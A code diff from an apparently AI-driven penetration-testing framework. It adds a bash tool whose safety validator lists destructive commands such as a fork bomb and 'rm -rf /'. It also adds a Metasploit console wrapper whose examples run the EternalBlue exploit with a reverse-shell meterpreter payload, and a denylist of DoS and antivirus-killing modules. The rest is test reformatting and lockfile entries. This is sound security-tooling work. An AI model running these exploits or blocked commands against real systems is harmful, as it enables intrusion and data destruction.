+ args = parameters.get("args", "")
+
+ # For now, use a simple inline approach
+ # In production, might want to write to a temp file
+ escaped_script = script_content.replace("'", "'\"'\"'")
+ command = f"bash -c '{escaped_script}'"
+ if args:
+ command += f" {args}"
+
+ return CommandInput(command=command, timeout_sec=parameters.get("timeout", 300))
+
+ elif capability == "file_ops":
+ operation = parameters["operation"]
+
+ if operation == "read":
+ command = f"cat '{parameters['source']}'"
+ elif operation == "write":
+ content = parameters["content"]
+ target = parameters["target"]
+ # Escape content for shell
+ escaped_content = content.replace("'", "'\"'\"'")
+ command = f"echo '{escaped_content}' > '{target}'"
+ elif operation == "copy":
+ command = f"cp '{parameters['source']}' '{parameters['target']}'"
+ elif operation == "move":
+ command = f"mv '{parameters['source']}' '{parameters['target']}'"
+ else:
+ raise ValueError(f"Unknown file operation: {operation}")
+
+ return CommandInput(command=command, timeout_sec=parameters.get("timeout", 60))
+
+ else:
+ raise ValueError(f"Unknown capability: {capability}")
+
+ def validate_command(self, command: CommandInput) -> tuple[bool, Optional[str]]:
+ """Validate bash command syntax and safety."""
+ cmd = command.command.strip()
+
+ # Basic safety checks
+ dangerous_patterns = [
+ "rm -rf /",
+ ":(){ :|:& };:", # Fork bomb
+ "dd if=/dev/zero",
+ "mkfs.",
+ "fdisk",
+ "parted",
+ ]
+
+ for pattern in dangerous_patterns:
+ if pattern in cmd.lower():
+ return False, f"Command contains dangerous pattern: {pattern}"
+
+ # Check for empty command
+ if not cmd:
+ return False, "Command cannot be empty"
+
+ return True, None
diff --git a/wish-tools/src/wish_tools/tools/msfconsole.py b/wish-tools/src/wish_tools/tools/msfconsole.py
new file mode 100644
index 00000000..4a64640e
--- /dev/null
+++ b/wish-tools/src/wish_tools/tools/msfconsole.py
@@ -0,0 +1,343 @@
+"""
+Metasploit Framework console tool implementation.
+
+This tool provides a non-interactive interface to msfconsole for
+penetration testing workflows in the wish framework.
+"""
+
+import asyncio
+import re
+import subprocess
+import time
+from typing import Any, Dict, Optional
+
+from wish_tools.framework.base import BaseTool, CommandInput, ToolCapability, ToolContext, ToolMetadata, ToolResult
+
+
+class MsfconsoleTool(BaseTool):
+ """Metasploit Framework console tool."""
+
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="msfconsole",
+ version="1.0.0",
+ description="Metasploit Framework penetration testing tool",
+ author="Wish Framework Team",
+ category="exploitation",
+ capabilities=[
+ ToolCapability(
+ name="exploit",
+ description="Run an exploit module against target(s)",
+ parameters={
+ "module": "The exploit module path (e.g., exploit/windows/smb/ms17_010_eternalblue)",
+ "rhosts": "Target host(s) - IP address or range",
+ "rport": "Target port (optional, module default used if not specified)",
+ "payload": "Payload to use (optional, module default used if not specified)",
+ "lhost": "Local host for reverse connection (required for reverse payloads)",
+ "lport": "Local port for reverse connection (optional, default: 4444)",
+ "options": "Additional module options as key-value pairs (optional)",
+ },
+ examples=[
+ "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.100; "
+ "set LHOST 192.168.1.10; exploit",
+ "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; "
+ "set LHOST 192.168.1.10; exploit",
+ ],
+ ),
+ ToolCapability(
+ name="auxiliary",
+ description="Run an auxiliary module (scanners, fuzzers, etc.)",
+ parameters={
+ "module": "The auxiliary module path (e.g., auxiliary/scanner/smb/smb_version)",
+ "rhosts": "Target host(s) - IP address or range",
+ "rport": "Target port (optional)",
+ "options": "Additional module options as key-value pairs (optional)",
+ },
+ examples=[
+ "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run",
+ "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.100; set PORTS 1-1000; run",
+ ],
+ ),
+ ToolCapability(
+ name="search",
+ description="Search for modules by name, platform, or CVE",
+ parameters={
+ "query": "Search query (module name, CVE, platform, etc.)",
+ "type": "Module type filter (optional: exploit, auxiliary, post, payload)",
+ },
+ examples=[
+ "search type:exploit platform:windows smb",
+ "search cve:2017-0144",
+ "search apache struts",
+ ],
+ ),
+ ToolCapability(
+ name="info",
+ description="Get detailed information about a module",
+ parameters={"module": "Full module path to get information about"},
+ examples=[
+ "info exploit/windows/smb/ms17_010_eternalblue",
+ "info auxiliary/scanner/smb/smb_version",
+ ],
+ ),
+ ],
+ requirements=["metasploit-framework"],
+ tags=["exploitation", "pentesting", "vulnerability", "msf", "metasploit"],
+ )
+
+ async def validate_availability(self) -> tuple[bool, Optional[str]]:
+ """Check if msfconsole is available."""
+ try:
+ result = subprocess.run(["msfconsole", "-v"], capture_output=True, text=True, timeout=10)
+ if result.returncode == 0:
+ return True, None
+ else:
+ return False, "msfconsole returned non-zero exit code"
+ except FileNotFoundError:
+ return False, "msfconsole not found. Please install Metasploit Framework"
+ except subprocess.TimeoutExpired:
+ return False, "msfconsole version check timed out"
+ except Exception as e:
+ return False, f"Error checking msfconsole availability: {str(e)}"
+
+ async def execute(self, command: CommandInput, context: ToolContext, **kwargs) -> ToolResult:
+ """Execute msfconsole command in non-interactive mode."""
+ start_time = time.time()
+
+ try:
+ # Prepare msfconsole command with proper formatting
+ msf_command = self._prepare_msf_command(command.command)
+
+ # Run msfconsole in non-interactive mode
+ process = await asyncio.create_subprocess_exec(
+ "msfconsole",
+ "-q",
+ "-x",
+ msf_command,
+ stdout=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE,
+ cwd=context.working_directory,
+ )
+
+ # Set up timeout - exploits can take a while
+ timeout = command.timeout_sec or context.timeout_override or 600
+
+ try:
+ stdout, stderr = await asyncio.wait_for(process.communicate(), timeout=timeout)
+ except asyncio.TimeoutError:
+ process.kill()
+ await process.wait()
+ return ToolResult(
+ success=False,
+ output="",
+ error="msfconsole command timed out",
+ exit_code=124,
+ execution_time=timeout,
+ metadata={"timeout": True, "command": msf_command},
+ )
+
+ # Parse output
+ output = stdout.decode("utf-8", errors="replace") if stdout else ""
+ error = stderr.decode("utf-8", errors="replace") if stderr else ""
+
+ # Determine success based on output content and exit code
+ success = self._determine_success(output, error, process.returncode)
+
+ # Extract metadata from output
+ metadata = self._extract_msf_metadata(output)
+ metadata.update(
+ {"command": msf_command, "working_directory": context.working_directory, "run_id": context.run_id}
+ )
+
+ return ToolResult(
+ success=success,
+ output=output,
+ error=error if error else None,
+ exit_code=process.returncode or 0,
+ execution_time=time.time() - start_time,
+ metadata=metadata,
+ )
+
+ except Exception as e:
+ return ToolResult(
+ success=False,
+ output="",
+ error=f"msfconsole execution error: {str(e)}",
+ exit_code=-1,
+ execution_time=time.time() - start_time,
+ metadata={"error_type": type(e).__name__},
+ )
+
+ def generate_command(
+ self, capability: str, parameters: Dict[str, Any], context: Optional[ToolContext] = None
+ ) -> CommandInput:
+ """Generate msfconsole command for the specified capability."""
+ if capability == "exploit":
+ commands = [f"use {parameters['module']}"]
+
+ # Set required parameters
+ commands.append(f"set RHOSTS {parameters['rhosts']}")
+
+ # Set optional parameters
+ if "rport" in parameters:
+ commands.append(f"set RPORT {parameters['rport']}")
+ if "payload" in parameters:
+ commands.append(f"set PAYLOAD {parameters['payload']}")
+ if "lhost" in parameters:
+ commands.append(f"set LHOST {parameters['lhost']}")
+ if "lport" in parameters:
+ commands.append(f"set LPORT {parameters['lport']}")
+
+ # Set additional options
+ if "options" in parameters:
+ for key, value in parameters["options"].items():
+ commands.append(f"set {key.upper()} {value}")
+
+ # Execute the exploit
+ commands.append("exploit")
+
+ return CommandInput(
+ command="; ".join(commands),
+ timeout_sec=600, # Exploits may take time
+ )
+
+ elif capability == "auxiliary":
+ commands = [f"use {parameters['module']}"]
+
+ # Set required parameters
+ if "rhosts" in parameters:
+ commands.append(f"set RHOSTS {parameters['rhosts']}")
+
+ # Set optional parameters
+ if "rport" in parameters:
+ commands.append(f"set RPORT {parameters['rport']}")
+
+ # Set additional options
+ if "options" in parameters:
+ for key, value in parameters["options"].items():
+ commands.append(f"set {key.upper()} {value}")
+
+ # Run the auxiliary module
+ commands.append("run")
+
+ return CommandInput(command="; ".join(commands), timeout_sec=300)
+
+ elif capability == "search":
+ query = parameters["query"]
+ if "type" in parameters:
+ query = f"type:{parameters['type']} {query}"
+
+ return CommandInput(command=f"search {query}", timeout_sec=60)
+
+ elif capability == "info":
+ return CommandInput(command=f"info {parameters['module']}", timeout_sec=30)
+
+ else:
+ raise ValueError(f"Unknown capability: {capability}")
+
+ def _prepare_msf_command(self, command: str) -> str:
+ """Prepare command for msfconsole execution."""
+ # Split commands and clean them up
+ commands = [cmd.strip() for cmd in command.split(";") if cmd.strip()]
+
+ # Ensure we exit cleanly (add if not present)
+ if not any("exit" in cmd.lower() for cmd in commands):
+ commands.append("exit -y")
+
+ return "; ".join(commands)
+
+ def _determine_success(self, output: str, error: str, exit_code: int) -> bool:
+ """Determine if the msfconsole command was successful."""
+ # Check exit code first
+ if exit_code != 0:
+ return False
+
+ # Check for success indicators in output
+ success_indicators = ["Session", "opened", "Auxiliary module execution completed", "Exploit completed"]
+
+ # Check for failure indicators
+ failure_indicators = [
+ "Exploit failed",
+ "Unable to connect",
+ "Connection refused",
+ "No route to host",
+ "Module failed",
+ ]
+
+ output_lower = output.lower()
+
+ # Check for explicit failures
+ for indicator in failure_indicators:
+ if indicator.lower() in output_lower:
+ return False
+
+ # Check for success indicators
+ for indicator in success_indicators:
+ if indicator.lower() in output_lower:
+ return True
+
+ # If no clear indicators, consider successful if no errors
+ return not error or len(error.strip()) == 0
+
+ def _extract_msf_metadata(self, output: str) -> Dict[str, Any]:
+ """Extract metadata from msfconsole output."""
+ metadata = {}
+
+ # Extract session information
+ session_match = re.search(r"Session (\d+) opened", output)
+ if session_match:
+ metadata["session_id"] = int(session_match.group(1))
+ metadata["session_opened"] = True
+
+ # Extract module information
+ module_match = re.search(r"Module: ([\w/]+)", output)
+ if module_match:
+ metadata["module"] = module_match.group(1)
+
+ # Extract target information
+ target_match = re.search(r"RHOSTS\s*=>\s*([\d\.\,\s/]+)", output)
+ if target_match:
+ metadata["targets"] = target_match.group(1).strip()
+
+ # Extract payload information
+ payload_match = re.search(r"PAYLOAD\s*=>\s*([\w/]+)", output)
+ if payload_match:
+ metadata["payload"] = payload_match.group(1)
+
+ # Count found modules (for search results)
+ module_count_match = re.search(r"(\d+)\s+matching modules", output)
+ if module_count_match:
+ metadata["matching_modules"] = int(module_count_match.group(1))
+
+ # Extract vulnerabilities found (for auxiliary modules)
+ if "appears to be vulnerable" in output.lower():
+ metadata["vulnerable"] = True
+
+ return metadata
+
+ def validate_command(self, command: CommandInput) -> tuple[bool, Optional[str]]:
+ """Validate msfconsole command."""
+ cmd = command.command.strip().lower()
+
+ # Check for required msfconsole commands
+ valid_commands = ["use", "set", "exploit", "run", "search", "info", "exit"]
+
+ # Split into individual commands
+ commands = [c.strip() for c in cmd.split(";") if c.strip()]
+
+ for command_part in commands:
+ # Check if command starts with a valid msfconsole command
+ if not any(command_part.startswith(valid_cmd) for valid_cmd in valid_commands):
+ return False, f"Invalid msfconsole command: {command_part}"
+
+ # Check for dangerous module usage (optional safety check)
+ dangerous_modules = [
+ "auxiliary/dos/", # Denial of service modules
+ "post/windows/manage/killav", # Antivirus killing
+ ]
+
+ for dangerous in dangerous_modules:
+ if dangerous in cmd:
+ return False, f"Potentially dangerous module detected: {dangerous}"
+
+ return True, None
diff --git a/wish-tools/tests/integrated/test_tool_step_trace.py b/wish-tools/tests/integrated/test_tool_step_trace.py
index eda4ccfd..71ed5b9b 100644
--- a/wish-tools/tests/integrated/test_tool_step_trace.py
+++ b/wish-tools/tests/integrated/test_tool_step_trace.py
@@ -23,11 +23,7 @@ async def test_step_trace_workflow(mock_post):
print("HTTPレスポンスをモック:", {"status_code": 200, "body": "Success"})
# 関数の実行
- result = main(
- run_id="test-run-id",
- trace_name="Test Trace",
- trace_message="Hello, World!"
- )
+ result = main(run_id="test-run-id", trace_name="Test Trace", trace_message="Hello, World!")
# 結果の出力
print("結果:", result)
@@ -41,12 +37,8 @@ async def test_step_trace_workflow(mock_post):
# モックが正しく呼び出されたことを確認
mock_post.assert_called_once_with(
"http://host.docker.internal:23456/api/addStepTrace",
- json={
- "run_id": "test-run-id",
- "trace_name": "Test Trace",
- "trace_message_base64": "SGVsbG8sIFdvcmxkIQ=="
- },
- headers={"Content-Type": "application/json"}
+ json={"run_id": "test-run-id", "trace_name": "Test Trace", "trace_message_base64": "SGVsbG8sIFdvcmxkIQ=="},
+ headers={"Content-Type": "application/json"},
)
@@ -61,11 +53,7 @@ async def test_step_trace_with_error(mock_post):
print("HTTP接続エラーをモック: Connection error")
# 関数の実行
- result = main(
- run_id="test-run-id",
- trace_name="Test Trace",
- trace_message="Hello, World!"
- )
+ result = main(run_id="test-run-id", trace_name="Test Trace", trace_message="Hello, World!")
# 結果の出力
print("結果:", result)
@@ -98,11 +86,7 @@ async def test_step_trace_with_long_message(mock_post):
print(f"長いメッセージを作成: {len(long_message)}文字")
# 関数の実行
- result = main(
- run_id="test-run-id",
- trace_name="Long Message Test",
- trace_message=long_message
- )
+ result = main(run_id="test-run-id", trace_name="Long Message Test", trace_message=long_message)
# 結果の出力
print("結果:", result)
diff --git a/wish-tools/tests/test_tools_framework.py b/wish-tools/tests/test_tools_framework.py
new file mode 100644
index 00000000..8a7d13ba
--- /dev/null
+++ b/wish-tools/tests/test_tools_framework.py
@@ -0,0 +1,296 @@
+"""
+Tests for the wish tools framework.
+
+This module contains tests for the core framework functionality
+including tool registration, discovery, and basic execution.
+"""
+
+import tempfile
+
+import pytest
+
+from wish_tools.framework import (
+ BaseTool,
+ CommandInput,
+ TestCase,
+ ToolCapability,
+ ToolContext,
+ ToolMetadata,
+ ToolResult,
+ ToolTester,
+ tool_registry,
+)
+from wish_tools.framework.testing import ExitCodeValidator, OutputValidator
+
+
+class MockTool(BaseTool):
+ """Mock tool for testing."""
+
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="mock",
+ version="1.0.0",
+ description="Mock tool for testing",
+ author="Test Suite",
+ category="testing",
+ capabilities=[
+ ToolCapability(
+ name="echo",
+ description="Echo input text",
+ parameters={"text": "Text to echo"},
+ examples=["echo hello world"],
+ )
+ ],
+ requirements=["python"],
+ tags=["test", "mock"],
+ )
+
+ async def validate_availability(self):
+ return True, None
+
+ async def execute(self, command: CommandInput, context: ToolContext, **kwargs):
+ # Mock execution - just echo the command
+ return ToolResult(
+ success=True,
+ output=f"Mock output: {command.command}",
+ error=None,
+ exit_code=0,
+ execution_time=0.1,
+ metadata={"mock": True},
+ )
+
+ def generate_command(self, capability: str, parameters: dict, context=None):
+ if capability == "echo":
+ return CommandInput(command=f"echo {parameters['text']}", timeout_sec=30)
+ raise ValueError(f"Unknown capability: {capability}")
+
+
+class TestToolRegistry:
+ """Test tool registry functionality."""
+
+ def test_register_tool(self):
+ """Test tool registration."""
+ # Clear registry for clean test
+ original_tools = tool_registry._tools.copy()
+ tool_registry._tools.clear()
+
+ try:
+ tool_registry.register_tool(MockTool)
+ assert tool_registry.has_tool("mock")
+ assert "mock" in tool_registry.get_tool_names()
+ finally:
+ # Restore registry
+ tool_registry._tools = original_tools
+
+ def test_get_tool(self):
+ """Test getting tool instance."""
+ # Register mock tool
+ tool_registry.register_tool(MockTool, override=True)
+
+ tool = tool_registry.get_tool("mock")
+ assert isinstance(tool, MockTool)
+ assert tool.metadata.name == "mock"
+
+ def test_list_tools(self):
+ """Test listing all tools."""
+ # Register mock tool
+ tool_registry.register_tool(MockTool, override=True)
+
+ tools = tool_registry.list_tools()
+ tool_names = [t.name for t in tools]
+ assert "mock" in tool_names
+
+ def test_search_tools(self):
+ """Test searching tools."""
+ # Register mock tool
+ tool_registry.register_tool(MockTool, override=True)
+
+ results = tool_registry.search_tools("mock")
+ assert len(results) >= 1
+ assert any(t.name == "mock" for t in results)
+
+ def test_list_by_category(self):
+ """Test listing tools by category."""
+ # Register mock tool
+ tool_registry.register_tool(MockTool, override=True)
+
+ tools = tool_registry.list_by_category("testing")
+ assert "mock" in tools
+
+ def test_list_by_tag(self):
+ """Test listing tools by tag."""
+ # Register mock tool
+ tool_registry.register_tool(MockTool, override=True)
+
+ tools = tool_registry.list_by_tag("test")
+ assert "mock" in tools
+
+
+class TestBaseTool:
+ """Test base tool functionality."""
+
+ def test_tool_metadata(self):
+ """Test tool metadata generation."""
+ tool = MockTool()
+ metadata = tool.metadata
+
+ assert metadata.name == "mock"
+ assert metadata.version == "1.0.0"
+ assert metadata.category == "testing"
+ assert len(metadata.capabilities) == 1
+ assert metadata.capabilities[0].name == "echo"
+
+ def test_get_documentation(self):
+ """Test documentation generation."""
+ tool = MockTool()
+ docs = tool.get_documentation()
+
+ assert "# mock" in docs
+ assert "Mock tool for testing" in docs
+ assert "## Capabilities" in docs
+ assert "### echo" in docs
+
+ @pytest.mark.asyncio
+ async def test_validate_availability(self):
+ """Test availability validation."""
+ tool = MockTool()
+ is_available, error = await tool.validate_availability()
+
+ assert is_available is True
+ assert error is None
+
+ @pytest.mark.asyncio
+ async def test_execute(self):
+ """Test command execution."""
+ tool = MockTool()
+
+ with tempfile.TemporaryDirectory() as temp_dir:
+ context = ToolContext(working_directory=temp_dir, run_id="test")
+
+ command = CommandInput(command="test command", timeout_sec=30)
+ result = await tool.execute(command, context)
+
+ assert result.success is True
+ assert "Mock output: test command" in result.output
+ assert result.exit_code == 0
+
+ def test_generate_command(self):
+ """Test command generation."""
+ tool = MockTool()
+
+ command = tool.generate_command(capability="echo", parameters={"text": "hello world"})
+
+ assert command.command == "echo hello world"
+ assert command.timeout_sec == 30
+
+
+class TestToolTester:
+ """Test tool testing framework."""
+
+ @pytest.mark.asyncio
+ async def test_availability_test(self):
+ """Test availability testing."""
+ tool = MockTool()
+ tester = ToolTester(tool)
+
+ result = await tester.test_availability()
+ assert result.passed is True
+
+ @pytest.mark.asyncio
+ async def test_run_test_case(self):
+ """Test running a test case."""
+ tool = MockTool()
+ tester = ToolTester(tool)
+
+ test_case = TestCase(
+ name="echo_test",
+ description="Test echo functionality",
+ capability="echo",
+ parameters={"text": "hello"},
+ expected_success=True,
+ validators=[OutputValidator(contains="Mock output"), ExitCodeValidator(expected=0)],
+ )
+
+ result = await tester.run_test_case(test_case)
+ assert result.passed is True
+ assert result.tool_result is not None
+ assert result.tool_result.success is True
+
+ def test_generate_report(self):
+ """Test report generation."""
+ tool = MockTool()
+ tester = ToolTester(tool)
+
+ # Create mock results
+ from wish_tools.framework.testing import TestResult
+
+ mock_result = TestResult(
+ test_case=TestCase(
+ name="test",
+ description="Test case",
+ capability="echo",
+ parameters={},
+ expected_success=True,
+ validators=[],
+ ),
+ passed=True,
+ execution_time=0.1,
+ tool_result=ToolResult(
+ success=True, output="test output", error=None, exit_code=0, execution_time=0.1, metadata={}
+ ),
+ error=None,
+ validation_errors=[],
+ )
+
+ report = tester.generate_report([mock_result])
+ assert "# Test Report for mock" in report
+ assert "✅ PASSED" in report
+ assert "test output" in report
+
+
+@pytest.mark.integration
+class TestRealTools:
+ """Integration tests with real tools (if available)."""
+
+ @pytest.mark.asyncio
+ async def test_bash_tool(self):
+ """Test bash tool if available."""
+ try:
+ from wish_tools.tools.bash import BashTool
+
+ tool = BashTool()
+ is_available, _ = await tool.validate_availability()
+
+ if is_available:
+ with tempfile.TemporaryDirectory() as temp_dir:
+ context = ToolContext(working_directory=temp_dir, run_id="test")
+
+ command = CommandInput(command="echo 'test'", timeout_sec=30)
+ result = await tool.execute(command, context)
+
+ assert result.success is True
+ assert "test" in result.output
+ except ImportError:
+ pytest.skip("BashTool not available")
+
+ @pytest.mark.asyncio
+ async def test_tool_documentation_generation(self):
+ """Test that all tools can generate documentation."""
+ try:
+ from wish_tools.tools import BashTool, MsfconsoleTool
+
+ for tool_class in [BashTool, MsfconsoleTool]:
+ tool = tool_class()
+ docs = tool.get_documentation()
+
+ # Basic documentation structure checks
+ assert f"# {tool.metadata.name}" in docs
+ assert "## Requirements" in docs
+ assert "## Capabilities" in docs
+
+ except ImportError:
+ pytest.skip("Tool imports not available")
+
+
+if __name__ == "__main__":
+ pytest.main([__file__])
diff --git a/wish-tools/tests/unit/test_tool_step_trace.py b/wish-tools/tests/unit/test_tool_step_trace.py
index d7ec6bfa..b722aa2f 100644
--- a/wish-tools/tests/unit/test_tool_step_trace.py
+++ b/wish-tools/tests/unit/test_tool_step_trace.py
@@ -24,11 +24,7 @@ class TestToolStepTrace:
def test_encode_trace_message(self):
"""Test encoding trace message to Base64."""
# Setup
- state = StepTraceState(
- run_id="test-run-id",
- trace_name="Test Trace",
- trace_message="Hello, World!"
- )
+ state = StepTraceState(run_id="test-run-id", trace_name="Test Trace", trace_message="Hello, World!")
# Call function
result = encode_trace_message(state)
@@ -53,7 +49,7 @@ def test_post_step_trace_success(self, mock_post):
run_id="test-run-id",
trace_name="Test Trace",
trace_message="Hello, World!",
- trace_message_base64="SGVsbG8sIFdvcmxkIQ=="
+ trace_message_base64="SGVsbG8sIFdvcmxkIQ==",
)
# Call function
@@ -70,12 +66,8 @@ def test_post_step_trace_success(self, mock_post):
# Verify mock was called with correct parameters
mock_post.assert_called_once_with(
"http://host.docker.internal:23456/api/addStepTrace",
- json={
- "run_id": "test-run-id",
- "trace_name": "Test Trace",
- "trace_message_base64": "SGVsbG8sIFdvcmxkIQ=="
- },
- headers={"Content-Type": "application/json"}
+ json={"run_id": "test-run-id", "trace_name": "Test Trace", "trace_message_base64": "SGVsbG8sIFdvcmxkIQ=="},
+ headers={"Content-Type": "application/json"},
)
@patch("wish_tools.tool_step_trace.requests.post")
@@ -89,7 +81,7 @@ def test_post_step_trace_error(self, mock_post):
run_id="test-run-id",
trace_name="Test Trace",
trace_message="Hello, World!",
- trace_message_base64="SGVsbG8sIFdvcmxkIQ=="
+ trace_message_base64="SGVsbG8sIFdvcmxkIQ==",
)
# Call function
@@ -119,19 +111,12 @@ def test_main_success(self, mock_build_graph):
# Setup mock
mock_graph = MagicMock()
mock_workflow = MagicMock()
- mock_workflow.invoke.return_value = {
- "response_status_code": 200,
- "response_body": "Success"
- }
+ mock_workflow.invoke.return_value = {"response_status_code": 200, "response_body": "Success"}
mock_graph.compile.return_value = mock_workflow
mock_build_graph.return_value = mock_graph
# Call function
- result = main(
- run_id="test-run-id",
- trace_name="Test Trace",
- trace_message="Hello, World!"
- )
+ result = main(run_id="test-run-id", trace_name="Test Trace", trace_message="Hello, World!")
# Verify result
assert result["status_code"] == 200
@@ -149,11 +134,7 @@ def test_main_error(self, mock_build_graph):
mock_build_graph.side_effect = Exception("Test error")
# Call function
- result = main(
- run_id="test-run-id",
- trace_name="Test Trace",
- trace_message="Hello, World!"
- )
+ result = main(run_id="test-run-id", trace_name="Test Trace", trace_message="Hello, World!")
# Verify result
assert result["status_code"] == 599
diff --git a/wish-tools/uv.lock b/wish-tools/uv.lock
index 83efd986..b1c60eee 100644
--- a/wish-tools/uv.lock
+++ b/wish-tools/uv.lock
@@ -96,6 +96,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009 },
]
+[[package]]
+name = "cfgv"
+version = "3.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/11/74/539e56497d9bd1d484fd863dd69cbbfa653cd2aa27abfe35653494d85e94/cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560", size = 7114 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c5/55/51844dd50c4fc7a33b653bfaba4c2456f06955289ca770a5dbd5fd267374/cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9", size = 7249 },
+]
+
[[package]]
name = "charset-normalizer"
version = "3.4.1"
@@ -166,6 +175,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 },
]
+[[package]]
+name = "distlib"
+version = "0.3.9"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/0d/dd/1bec4c5ddb504ca60fc29472f3d27e8d4da1257a854e1d96742f15c1d02d/distlib-0.3.9.tar.gz", hash = "sha256:a60f20dea646b8a33f3e7772f74dc0b2d0772d2837ee1342a00645c81edf9403", size = 613923 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/91/a1/cf2472db20f7ce4a6be1253a81cfdf85ad9c7885ffbed7047fb72c24cf87/distlib-0.3.9-py2.py3-none-any.whl", hash = "sha256:47f8c22fd27c27e25a65601af709b38e4f0a45ea4fc2e710f65755fa8caaaf87", size = 468973 },
+]
+
[[package]]
name = "exceptiongroup"
version = "1.2.2"
@@ -199,6 +217,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/d7/a1/8936bc8e79af80ca38288dd93ed44ed1f9d63beb25447a4c59e746e01f8d/faker-37.1.0-py3-none-any.whl", hash = "sha256:dc2f730be71cb770e9c715b13374d80dbcee879675121ab51f9683d262ae9a1c", size = 1918783 },
]
+[[package]]
+name = "filelock"
+version = "3.18.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/0a/10/c23352565a6544bdc5353e0b15fc1c563352101f30e24bf500207a54df9a/filelock-3.18.0.tar.gz", hash = "sha256:adbc88eabb99d2fec8c9c1b229b171f18afa655400173ddc653d5d01501fb9f2", size = 18075 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4d/36/2a115987e2d8c300a974597416d9de88f2444426de9571f4b59b2cca3acc/filelock-3.18.0-py3-none-any.whl", hash = "sha256:c401f4f8377c4464e6db25fff06205fd89bdd83b65eb0488ed1b160f780e21de", size = 16215 },
+]
+
[[package]]
name = "graphviz"
version = "0.20.3"
@@ -245,6 +272,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517 },
]
+[[package]]
+name = "identify"
+version = "2.6.12"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/88/d193a27416618628a5eea64e3223acd800b40749a96ffb322a9b55a49ed1/identify-2.6.12.tar.gz", hash = "sha256:d8de45749f1efb108badef65ee8386f0f7bb19a7f26185f74de6367bffbaf0e6", size = 99254 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7a/cd/18f8da995b658420625f7ef13f037be53ae04ec5ad33f9b718240dcfd48c/identify-2.6.12-py2.py3-none-any.whl", hash = "sha256:ad9672d5a72e0d2ff7c5c8809b62dfa60458626352fb0eb7b55e69bdc45334a2", size = 99145 },
+]
+
[[package]]
name = "idna"
version = "3.10"
@@ -375,6 +411,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/53/fc/31046fb293e5549a41fda5b6ff56fc0d46d2b7ed7dd8206fd20e3fb21e1b/langsmith-0.3.34-py3-none-any.whl", hash = "sha256:5927d726a78dbd1aa387be024ab76efa67444aec9b21b14c1de8214a233bb166", size = 358906 },
]
+[[package]]
+name = "nodeenv"
+version = "1.9.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/43/16/fc88b08840de0e0a72a2f9d8c6bae36be573e475a6326ae854bcc549fc45/nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f", size = 47437 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d2/1d/1b658dbd2b9fa9c4c9f32accbfc0205d532c8c6194dc0f2a4c0428e7128a/nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9", size = 22314 },
+]
+
[[package]]
name = "orjson"
version = "3.10.16"
@@ -486,6 +531,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/88/ef/eb23f262cca3c0c4eb7ab1933c3b1f03d021f2c48f54763065b6f0e321be/packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759", size = 65451 },
]
+[[package]]
+name = "platformdirs"
+version = "4.3.8"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fe/8b/3c73abc9c759ecd3f1f7ceff6685840859e8070c4d947c93fae71f6a0bf2/platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc", size = 21362 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fe/39/979e8e21520d4e47a0bbe349e2713c0aac6f3d853d0e5b34d76206c439aa/platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4", size = 18567 },
+]
+
[[package]]
name = "pluggy"
version = "1.5.0"
@@ -495,6 +549,22 @@ wheels = [
